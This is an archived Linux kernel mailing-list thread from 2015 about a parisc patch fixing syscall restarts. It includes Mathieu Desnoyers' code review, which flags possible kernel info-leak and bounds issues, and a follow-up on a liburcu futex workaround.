Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 586E53403D2;
	Sun, 20 Dec 2015 13:59:13 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id v0eGjBHaHzVE; Sun, 20 Dec 2015 13:59:13 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id DB12A340307;
	Sun, 20 Dec 2015 13:59:12 +0000 (UTC)
In-Reply-To: <20151218233034.GA24910@p100.box>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF42 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts
Thread-Index: 78GXdH9EgUwbHxfTkUnc6EWCB7jYjg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26246>

----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de wrote:

> On parisc syscalls which are interrupted by signals sometimes fail to restart
> and instead return -ENOSYS which then in the worst case lead to userspace
> crashes.
> A similiar problem existed on MIPS and was fixed by commit e967ef02
> ("MIPS: Fix restart of indirect syscalls").
> 
> On parisc the current syscall restart code assumes hat the syscall number is
> always loaded in the delay branch of the ble instruction as defined in the
> unistd.h header file and as such never restored %r20 before returning to
> userspace:
>	ble 0x100(%sr2, %r0)
>	ldi #syscall_nr, %r20
> 
> This assumption is at least not true for code which uses the syscall() glibc
> function, which instead uses this syntax:
>	ble 0x100(%sr2, %r0)
>	copy regX, %r20
> where regX depend on how the compiler optimizes the code and register usage.
> 
> This patch fixes this problem by adding code to analyze how the syscall number
> is loaded in the delay branch and - if needed - copy the syscall number to regX
> prior returning to userspace for the syscall restart.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: stable@vger.kernel.org
> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> 
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index dc1ea79..b0414ad 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
> int in_syscall)
> 		regs->gr[28]);
> }
> 
> +/*
> + * Check the delay branch in userspace how the syscall number gets loaded into
> + * %r20 and adjust as needed.

I'm pretty sure "Check the delay branch in userspace how the syscall..."
is not an English construct. ;-) Suggested rewording:

"Check how the syscall number gets loaded into %r20 within
the delay branch in userspace and adjust as needed."

> + */
> +
> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
> +{
> +	unsigned int opcode, source_reg;

Why "unsigned int" above rather than u32 ? Since we're using
opcode as target variable for a get_user, it would be clearer
if the type of the __user * match the type of the target kernel
variable. (understood that those happen to have the same bitness
and type size on all Linux architectures, but it would be clearer
nevertheless).

> +	u32 __user *uaddr;
> +
> +	/* Usually we don't have to restore %r20 (the system call number)
> +	 * because it gets loaded in the delay slot of the branch external
> +	 * instruction via the ldi instruction.
> +	 * In some cases a register-to-register copy instruction might have
> +	 * been used instead, in which case we need to copy the syscall
> +	 * number into the source register before returning to userspace.
> +	 */
> +
> +	/* A syscall is just a branch, so all
> +	 * we have to do is fiddle the return pointer.
> +	 */
> +	regs->gr[31] -= 8; /* delayed branching */
> +
> +	/* Get assembler opcode of code in delay branch */
> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
> +	get_user(opcode, uaddr);

get_user() can fail due to EFAULT. This error should be
handled here, otherwise this could lead to the following
code using an uninitialized opcode variable, which could
indirectly leak a few bits of kernel stack information
to userspace (security concern). One attack vector I have
in mind for this is ptrace(), which might be able to tweak
those register values.

> +
> +	/* Check if delay branch uses "ldi int,%r20" */
> +	if ((opcode & 0xffff0000) == 0x34140000)
> +		return;	/* everything ok, just return */
> +
> +	/* Check if delay branch uses "copy %rX,%r20" */
> +	if ((opcode & 0xff00ffff) == 0x08000254) {
> +		source_reg = (opcode >> 16) & 31;

Can you explain the reasoning behind the & 31 mask ?
I'm no parisc expert, but this seems rather odd.
Do you really mean "% 31" which translates to "& 5" ?
It would make more sense since there are 32 "gr"
registers. With & 31, a carefully crafted opcode
could overflow the gr[32] array, and cause a kernel
overflow allowing to overwrite kernel memory
(security issue).

If it's the case, then it would also be good to
check that the register selector within the opcode
is not larger than 31 (e.g. applying to fr or sr
register), rather than applying the modulo and
assuming it's a gr and corrupt userspace state.

Thanks,

Mathieu

> +		regs->gr[source_reg] = regs->gr[20];
> +		return;
> +	}
> +
> +	pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n",
> +		current->comm, task_pid_nr(current), opcode);
> +}
> +
> static inline void
> syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
> {
> @@ -457,10 +499,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction
> *ka)
> 		}
> 		/* fallthrough */
> 	case -ERESTARTNOINTR:
> -		/* A syscall is just a branch, so all
> -		 * we have to do is fiddle the return pointer.
> -		 */
> -		regs->gr[31] -= 8; /* delayed branching */
> +		check_syscallno_in_delay_branch(regs);
> 		break;
> 	}
> }
> @@ -510,15 +549,9 @@ insert_restart_trampoline(struct pt_regs *regs)
> 	}
> 	case -ERESTARTNOHAND:
> 	case -ERESTARTSYS:
> -	case -ERESTARTNOINTR: {
> -		/* Hooray for delayed branching.  We don't
> -		 * have to restore %r20 (the system call
> -		 * number) because it gets loaded in the delay
> -		 * slot of the branch external instruction.
> -		 */
> -		regs->gr[31] -= 8;
> +	case -ERESTARTNOINTR:
> +		check_syscallno_in_delay_branch(regs);
> 		return;
> -	}
> 	default:
> 		break;
>  	}

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 14:09:25 +0000 (UTC)
Lines: 196
Approved: news@gmane.org
Message-ID: <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450620576 31379 80.91.229.3 (20 Dec 2015 14:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 14:09:36 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 15:09:28 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAefv-0000vN-Td
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 15:09:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751534AbbLTOJ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 09:09:26 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:35542 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751232AbbLTOJZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 09:09:25 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 95F13340307;
	Sun, 20 Dec 2015 14:09:26 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id H-8-TmfBMDJF; Sun, 20 Dec 2015 14:09:25 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id AB2973403D2;
	Sun, 20 Dec 2015 14:09:25 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id FYBWDyVj83LK; Sun, 20 Dec 2015 14:09:25 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id 822F1340307;
	Sun, 20 Dec 2015 14:09:25 +0000 (UTC)
In-Reply-To: <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF42 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts
Thread-Index: 78GXdH9EgUwbHxfTkUnc6EWCB7jYjsnRedBU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26247>

----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers mathieu.desnoyers@efficios.com wrote:

> ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de wrote:
> 
>> On parisc syscalls which are interrupted by signals sometimes fail to restart
>> and instead return -ENOSYS which then in the worst case lead to userspace
>> crashes.
>> A similiar problem existed on MIPS and was fixed by commit e967ef02
>> ("MIPS: Fix restart of indirect syscalls").
>> 
>> On parisc the current syscall restart code assumes hat the syscall number is
>> always loaded in the delay branch of the ble instruction as defined in the
>> unistd.h header file and as such never restored %r20 before returning to
>> userspace:
>>	ble 0x100(%sr2, %r0)
>>	ldi #syscall_nr, %r20
>> 
>> This assumption is at least not true for code which uses the syscall() glibc
>> function, which instead uses this syntax:
>>	ble 0x100(%sr2, %r0)
>>	copy regX, %r20
>> where regX depend on how the compiler optimizes the code and register usage.
>> 
>> This patch fixes this problem by adding code to analyze how the syscall number
>> is loaded in the delay branch and - if needed - copy the syscall number to regX
>> prior returning to userspace for the syscall restart.
>> 
>> Signed-off-by: Helge Deller <deller@gmx.de>
>> Cc: stable@vger.kernel.org
>> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>> 
>> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
>> index dc1ea79..b0414ad 100644
>> --- a/arch/parisc/kernel/signal.c
>> +++ b/arch/parisc/kernel/signal.c
>> @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
>> int in_syscall)
>> 		regs->gr[28]);
>> }
>> 
>> +/*
>> + * Check the delay branch in userspace how the syscall number gets loaded into
>> + * %r20 and adjust as needed.
> 
> I'm pretty sure "Check the delay branch in userspace how the syscall..."
> is not an English construct. ;-) Suggested rewording:
> 
> "Check how the syscall number gets loaded into %r20 within
> the delay branch in userspace and adjust as needed."
> 
>> + */
>> +
>> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
>> +{
>> +	unsigned int opcode, source_reg;
> 
> Why "unsigned int" above rather than u32 ? Since we're using
> opcode as target variable for a get_user, it would be clearer
> if the type of the __user * match the type of the target kernel
> variable. (understood that those happen to have the same bitness
> and type size on all Linux architectures, but it would be clearer
> nevertheless).
> 
>> +	u32 __user *uaddr;
>> +
>> +	/* Usually we don't have to restore %r20 (the system call number)
>> +	 * because it gets loaded in the delay slot of the branch external
>> +	 * instruction via the ldi instruction.
>> +	 * In some cases a register-to-register copy instruction might have
>> +	 * been used instead, in which case we need to copy the syscall
>> +	 * number into the source register before returning to userspace.
>> +	 */
>> +
>> +	/* A syscall is just a branch, so all
>> +	 * we have to do is fiddle the return pointer.
>> +	 */
>> +	regs->gr[31] -= 8; /* delayed branching */
>> +
>> +	/* Get assembler opcode of code in delay branch */
>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>> +	get_user(opcode, uaddr);
> 
> get_user() can fail due to EFAULT. This error should be
> handled here, otherwise this could lead to the following
> code using an uninitialized opcode variable, which could
> indirectly leak a few bits of kernel stack information
> to userspace (security concern). One attack vector I have
> in mind for this is ptrace(), which might be able to tweak
> those register values.
> 
>> +
>> +	/* Check if delay branch uses "ldi int,%r20" */
>> +	if ((opcode & 0xffff0000) == 0x34140000)
>> +		return;	/* everything ok, just return */
>> +
>> +	/* Check if delay branch uses "copy %rX,%r20" */
>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>> +		source_reg = (opcode >> 16) & 31;
> 
> Can you explain the reasoning behind the & 31 mask ?
> I'm no parisc expert, but this seems rather odd.
> Do you really mean "% 31" which translates to "& 5" ?
> It would make more sense since there are 32 "gr"
> registers. With & 31, a carefully crafted opcode
> could overflow the gr[32] array, and cause a kernel
> overflow allowing to overwrite kernel memory
> (security issue).

Hrm, I got my masks temporarily mixed up (early morning
here). This is why I always use constructs such as:

#define GR_REGS_BITS  5
#define NR_GR_REGS    (1U << GR_REGS_BITS)
#define GR_REGS_MASK  (NR_GR_REGS - 1)

and then

v & GR_REGS_MASK;

Which makes everything super-obvious. The & 31 mask
seems therefore technically correct. The
paragraph below still holds though:

> 
> If it's the case, then it would also be good to
> check that the register selector within the opcode
> is not larger than 31 (e.g. applying to fr or sr
> register), rather than applying the modulo and
> assuming it's a gr and corrupt userspace state.
> 

Thanks,

Mathieu

> Thanks,
> 
> Mathieu
> 
>> +		regs->gr[source_reg] = regs->gr[20];
>> +		return;
>> +	}
>> +
>> +	pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n",
>> +		current->comm, task_pid_nr(current), opcode);
>> +}
>> +
>> static inline void
>> syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
>> {
>> @@ -457,10 +499,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction
>> *ka)
>> 		}
>> 		/* fallthrough */
>> 	case -ERESTARTNOINTR:
>> -		/* A syscall is just a branch, so all
>> -		 * we have to do is fiddle the return pointer.
>> -		 */
>> -		regs->gr[31] -= 8; /* delayed branching */
>> +		check_syscallno_in_delay_branch(regs);
>> 		break;
>> 	}
>> }
>> @@ -510,15 +549,9 @@ insert_restart_trampoline(struct pt_regs *regs)
>> 	}
>> 	case -ERESTARTNOHAND:
>> 	case -ERESTARTSYS:
>> -	case -ERESTARTNOINTR: {
>> -		/* Hooray for delayed branching.  We don't
>> -		 * have to restore %r20 (the system call
>> -		 * number) because it gets loaded in the delay
>> -		 * slot of the branch external instruction.
>> -		 */
>> -		regs->gr[31] -= 8;
>> +	case -ERESTARTNOINTR:
>> +		check_syscallno_in_delay_branch(regs);
>> 		return;
>> -	}
>> 	default:
>> 		break;
>>  	}
> 
> --
> Mathieu Desnoyers
> EfficiOS Inc.
> http://www.efficios.com

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex
 should work-around futex signal-restart kernel bug
Date: Sun, 20 Dec 2015 14:11:41 +0000 (UTC)
Lines: 62
Approved: news@gmane.org
Message-ID: <1106544409.268921.1450620701325.JavaMail.zimbra@efficios.com>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com> <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com> <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60> <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com> <56746FC6.10904@gmx.de> <56753350.2060906@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450620714 1146 80.91.229.3 (20 Dec 2015 14:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 14:11:54 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Ed Swierk <eswierk@skyportsystems.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 15:11:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAei8-00053F-8y
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 15:11:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933334AbbLTOLn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 09:11:43 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:35581 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933331AbbLTOLm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 09:11:42 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 91CFC340307;
	Sun, 20 Dec 2015 14:11:42 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id LSh7MmEWuO3U; Sun, 20 Dec 2015 14:11:41 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id D355B3403D3;
	Sun, 20 Dec 2015 14:11:41 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id g_x2Yh5st3Xz; Sun, 20 Dec 2015 14:11:41 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id 9FE5F3403D2;
	Sun, 20 Dec 2015 14:11:41 +0000 (UTC)
In-Reply-To: <56753350.2060906@gmx.de>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF42 (Linux)/8.6.0_GA_1178)
Thread-Topic: compat_futex should work-around futex signal-restart kernel bug
Thread-Index: yUnaPxzg3j5H69hDs6qKec20Dl+bNA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26248 gmane.linux.ports.mips.general:51858 gmane.linux.kernel:2112503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26248>

----- On Dec 19, 2015, at 5:37 AM, Helge Deller deller@gmx.de wrote:

> Hi Mathieu,
> 
> On 18.12.2015 21:42, Helge Deller wrote:
>> On 18.12.2015 20:58, Mathieu Desnoyers wrote:
>>>>>> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
>>>>>> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>>>>>> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>>>>>> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>>>>>> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>>>>>> same behavior. This might affect earlier kernels.
>>>>>>
>>>>>> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>>>>>> nevertheless, we should try to handle this kernel bug more gracefully
>>>>>> than a user-space hang due to unexpected spurious ENOSYS return value.
>>>>>
>>>>> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
>>>>> Linux kernel upstream fix commit is:
>>>>> e967ef02 "MIPS: Fix restart of indirect syscalls"
> 
>>> Looks like parisc has an issue very similar to the one that
>>> has been fixed on MIPS by e967ef02 "MIPS: Fix restart of indirect syscalls".
> 
> Yes, parisc is affected the same way.
> I've posted a patch to the parisc mailing list which fixes this issue for
> parisc and which I plan to push into stable kernels:
> http://thread.gmane.org/gmane.linux.ports.parisc/26243
> 
> Regarding your patch for liburcu:
> 
>>>>>> Therefore, fallback on the "async-safe" version of compat_futex in those
>>>>>> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>>>>>> the nice property of being OK to use concurrently with other FUTEX_WAKE
>>>>>> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
> 
> I've tested your patch. It does not produce any regressions on parisc, but I
> can't
> say for sure if it really works. ENOSYS is returned randomly, so maybe I didn't
> faced a situation where your patch actually was used.

If you ran make check and make regtest, and nothing
fails/hangs, you should be OK. liburcu runs very heavy
stress-tests which makes it likely to hit race conditions
repeatedly.

Thanks!

Mathieu

> 
> Helge

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Sun, 20 Dec 2015 16:37:00 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <5676CB1C.8090500@gmx.de>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
 <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
 <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
 <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com>
 <56746FC6.10904@gmx.de> <56753350.2060906@gmx.de>
 <1106544409.268921.1450620701325.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450625880 12037 80.91.229.3 (20 Dec 2015 15:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 15:38:00 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
        Jon Bernard <jbernard@debian.org>,
        Michael Jeanson <mjeanson@efficios.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        linux-mips <linux-mips@linux-mips.org>,
        linux-kernel@vger.kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        linux-parisc <linux-parisc@vger.kernel.org>,
        Ed Swierk <eswierk@skyportsystems.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 20 16:37:49 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aAg3Q-0008Oq-B4
	for sgi-linux-mips@gmane.org; Sun, 20 Dec 2015 16:37:48 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39482 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27014241AbbLTPhnOhcYL (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 20 Dec 2015 16:37:43 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Dec 2015 16:37:28 +0100 (CET)
Original-Received: from mout.gmx.net ([212.227.17.22]:60684 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008281AbbLTPh0bCXML (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 20 Dec 2015 16:37:26 +0100
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LxPgU-1aGYuY27ze-016x8m; Sun, 20 Dec 2015 16:37:04
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1106544409.268921.1450620701325.JavaMail.zimbra@efficios.com>
X-Provags-ID: V03:K0:utrDDoUTYpR2o6kjOQ+irjUE3XPbYAaeRNW5/ZHaupKmDsbFI8L
 Lp7errEy+3iEa6UOoDatH9taboM8pZB2xamUrevaLCpsp2n4NDw/K5tEIE8jxjL2PaHr6lj
 ZiCwY3RUWR1tyUZaN3EGarjwhyriZ3H0t7nHiLKwS4tlpiY5GT+YmsYrUV+uhJPUnbrVc95
 t/Agy/SYKPO9rW6GYc+AQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:owSaVxxhyCs=:vsUDhPdUUcgAx80EGnzmin
 WRiG8bo0V5Mrhy3+16T8LbECu5fnQWk9GoMAqaaKaU//giRVaIpVfijHFDe1+73zZnjsPjuLZ
 fNbhulDFnfaSyjfr1QVbWVbgP+4NZB41tVhVh2OehIzYdJH8lbTbrJUXTfMmT5aQbLQ54wvA6
 8o1hCJnXL+zP0kr9TJ+YdzwpHBeFVIz393L63Xg+yXHhjvn3/poBc0fQn+NGyJhcak2hvhZUF
 JFX8LaClNkcoTEfHnWuDsNaKPLG5O1rwEld82h0cQZosHGlF6rIJcjvGa4VQ/BVwv00aUCNPt
 XdVVUI3AzLnT3K+C+p39ZhvKhn7ib8/9vTGiOoqkQlJZa7LO2XLuSbG0rYaVejIDkcPtnVr2u
 fGdqXOlgYcK5QdhsuePsU69rTgMVkDqCyO/CPLA4HAWyHqVI77/B2uIZ8F0snoCyyJo2rFC+X
 2mob7OFbY06Dn29m7i4v1pfvwfe4zhFg3TPSefHqO8Hqzad8vgbva/bZEQaz/u7KFQUYnRnai
 RwP/WDpAC7WgJbhJtP/L4CSh6yPCZn6B1o8SMlaxYaXjmYkAPgHn0t17Tdsk2E/hUz4ODU4tO
 XET+6Q4RzfvDjHM29YBE2+FSf8Ejh4RpDIU0BykwwYo6aXHHLVUvRb68dg70Y48Pj4QPcACjD
 1Ewgo859fomJJGvEO5HlQzmKHIuUIK00J7rSkpPt7qi3ukvCWQvHdXMKXDJacaAB5AfdTXyPb
 ea7qwFCzfZJWizSCt2HhXeBYbXa0pUiORCXgQpIu5O8Gh9Y0a1eXoqxJYY1JIARB5CodYnrb 
X-archive-position: 50706
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: deller@gmx.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
